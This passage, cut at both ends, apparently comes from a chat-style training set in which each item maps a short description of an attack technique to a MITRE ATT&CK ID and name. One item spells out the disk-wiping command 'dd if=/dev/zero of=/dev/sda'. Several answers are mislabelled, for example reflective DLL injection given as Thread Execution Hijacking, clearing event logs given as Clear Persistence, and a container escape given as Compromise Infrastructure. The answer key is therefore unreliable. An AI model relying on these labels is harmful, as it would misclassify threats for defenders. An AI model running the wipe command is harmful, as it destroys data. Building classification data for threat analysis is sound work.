                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group uses URL-safe Base64 encoding to hide malicious payloads within web requests."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker triggers a stack overflow in a database engine, causing it to abort and denying access to the endpoint's data."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group accesses restricted threat intel feeds to gather information on zero‑day exploits used against the target."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor automates the download of SharePoint site backups via the admin portal after gaining privileged access."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised service account, the attacker exploits an insecure API endpoint to retrieve stored API keys and database passwords."
            },
            {
                "role": "assistant",
                "content": "T1212 - Exploitation for Credential Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker obtained a valid code signing certificate from a compromised certificate authority and used it to sign malicious executables, allowing them to bypass application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses \"docker inspect\" on each container to gather network settings and exposed ports."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker updated the launch template of cloud instances to include a malicious startup script that executes upon instance creation."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executed a malicious Bash script on the compromised Linux host to harvest credentials."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor runs `rpm -qa` on a compromised Red Hat host to enumerate installed RPM packages."
            },
            {
                "role": "assistant",
                "content": "T1592.002 - Gather Victim Host Information: Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers hide malicious code inside legitimate Windows executables by appending encrypted data to the end of the file."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employs a multi-threaded encryption engine to rapidly encrypt large volumes of data, targeting both local disks and mapped network drives."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply‑chain compromise results in a popular media player being shipped with a hidden data exfiltration module."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes a module that disables the Windows Event Log service to impair detection."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A red team inserts a custom shim definition in the Compatibility Administrator, causing the victim’s system to run an unsigned payload each time a specific program runs."
            },
            {
                "role": "assistant",
                "content": "T1546.011 - Event Triggered Execution: Application Shimming"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool enumerates the Keychain entries on a compromised Mac to steal application credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script opens /etc/shadow and copies the password hashes to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leverage stolen credentials to create a new privileged user account in the victim's AWS IAM console."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leveraged the Windows Command Shell to run 'net user' commands for credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary spawns its command-and-control client under the explorer.exe process, breaking the normal process lineage."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During lateral movement, the adversary reads the Windows Credential Manager to obtain saved credentials for privileged accounts."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group hijacks the NTP service by installing a malicious time sync daemon that contacts their C2."
            },
            {
                "role": "assistant",
                "content": "T1505 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code aggregates keylogger outputs into a staging directory before transmitting them."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits the Office startup folder to drop a malicious .lnk file that runs a payload when Excel launches."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executed a malicious Bash script to download and install a ransomware payload from a remote server."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker places a malicious script on a compromised IoT device that connects back to a command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor embedded malicious code within an image file using steganography, then extracted and executed it on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes an AppleScript that modifies the hosts file to redirect traffic to a malicious site."
            },
            {
                "role": "assistant",
                "content": "T1059.002 - Command and Scripting Interpreter: AppleScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script calls Google Cloud Resource Manager to list all IAM groups, looking for groups with elevated rights."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware parses the \"Extensions\" folder of Chrome to list all installed extensions and their permissions."
            },
            {
                "role": "assistant",
                "content": "T1217 - Browser Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker edits the /etc/passwd file to change the shell to /sbin/nologin, effectively removing account access."
            },
            {
                "role": "assistant",
                "content": "T1531 - Account Access Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion employed Visual Basic scripts to automate the execution of malicious macros in Microsoft Office documents."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary gathers information on the target's network topology by analyzing traceroute results from public measurement platforms."
            },
            {
                "role": "assistant",
                "content": "T1590.004 - Gather Victim Network Information: Network Topology"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor queries the Global Catalog for objects of class 'group' to discover domain groups."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Reconnaissance of network services using port scanning to identify open ports."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a stolen TGT to authenticate to other services, effectively performing Pass the Ticket to move laterally across the network."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary clears Windows Event Logs and removes any leftover artifacts to hide their presence."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leases a cloud-based virtual server to host their malware payload and C2 communication."
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Acquire Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware collected the system's routing table to understand network paths."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker clears Windows command prompt history by removing the 'cmdhistory' registry entries after execution."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware escalated its privileges by exploiting a vulnerable sudo version that allowed bypassing authentication via environment variable injection."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The virus uses reflective DLL injection to load its payload into a running process via a new thread."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor conducts extensive reconnaissance on potential targets, identifying vulnerabilities that can be exploited for privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1592 - Gather Victim Host Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor sends a crafted email appearing to come from the company's HR department, asking the recipient to click a link that leads to a credential‑harvesting login page."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor registers a custom COM object that Office loads during program initialization."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In this scenario, the adversary uses a fronting service like Google or Amazon to mask the true destination of malicious traffic via domain fronting."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor executed 'dd if=/dev/zero of=/dev/sda' to wipe the entire hard drive."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries queried the victim's DNS server to discover active IP addresses on the corporate subnet."
            },
            {
                "role": "assistant",
                "content": "T1590.005 - Gather Victim Network Information: IP Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion replaces the trusted bootloader firmware with a rogue version, achieving early execution."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operator uses a malicious Docker container to compromise the host server's kernel."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During infection, the implant adds a rogue COM entry under HKLM\\Software\\Classes\\CLSID with a custom DLL, allowing the attacker to execute code whenever the associated COM interface is used."
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By uploading a malicious XSLT file to a content management system, the threat actor triggered arbitrary PowerShell execution on the host when the file was processed."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An implant receives commands that are signed and encrypted with the attacker’s private key, verifying integrity via the public key."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary sends a crafted PNG file that exploits a vulnerability in the image viewer, causing the victim to execute a PowerShell payload when the image is opened."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In a targeted attack, the malicious file 'budget.xlsx.bat' was used, relying on the double extension to look like an Excel spreadsheet."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a transport rule in Exchange that redirects all inbound messages to a mail address they control."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware performs cloud group discovery by scanning Kubernetes RBAC role bindings for group names."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware harvests a token from a privileged process, then uses it to create a new process that inherits the token's rights."
            },
            {
                "role": "assistant",
                "content": "T1134.002 - Access Token Manipulation: Create Process with Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining admin rights, the intruder installs a fake code‑signing certificate to sign subsequent malicious modules."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PDF attached to a message from the IT helpdesk is distributed to internal users to harvest login credentials."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious payload modifies the .ssh/authorized_keys file, inserting a key that points to the attacker’s server."
            },
            {
                "role": "assistant",
                "content": "T1098.004 - Account Manipulation: SSH Authorized Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a shortened URL in a social media message that resolves to a malicious server delivering additional exploit code."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script retrieves a list of current network connections to map the host's external communications."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers spin up a temporary virtual machine in a rarely monitored cloud region, using it to perform lateral movement within the target’s network before shutting it down to erase traces."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware sample employs code obfuscation techniques, making it difficult for analysts to understand its behavior or identify its components through reverse engineering."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the 'mkdir .hidden' command to establish a hidden directory and places stolen data there."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A campaign uses HTML smuggling to embed a malicious payload within a data URL, which the victim's browser decodes and executes without touching the disk."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit Outlook’s home page setting, redirecting it to a hostile site that triggers a malicious PowerShell script when Outlook starts."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fast-flux technique is used to hide malicious phishing sites by rapidly swapping the underlying IP addresses."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor utilizes the Azure CLI \"az ad user list\" command to enumerate all Azure Active Directory users in the subscription."
            },
            {
                "role": "assistant",
                "content": "T1087.004 - Account Discovery: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker compromised a web server by uploading a malicious ASP.NET webshell through the IIS WebDAV module, allowing remote code execution."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team injects a malicious script into the com.apple.SoftwareUpdate.launchdaemon to run during software update checks."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A piece of malware exploits the Accessibility \"Speech Recognition\" activation to launch a credential‑stealing module whenever speech services start."
            },
            {
                "role": "assistant",
                "content": "T1546.008 - Event Triggered Execution: Accessibility Features"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker tampers with the VDSO memory region to bypass address space layout randomization and inject code into a high‑privilege process."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious DLL is placed in the Windows network provider path and registered via the registry to intercept authentication credentials."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages Mimikatz to retrieve cached domain credentials stored in the registry’s LSA secrets on a compromised Windows machine."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
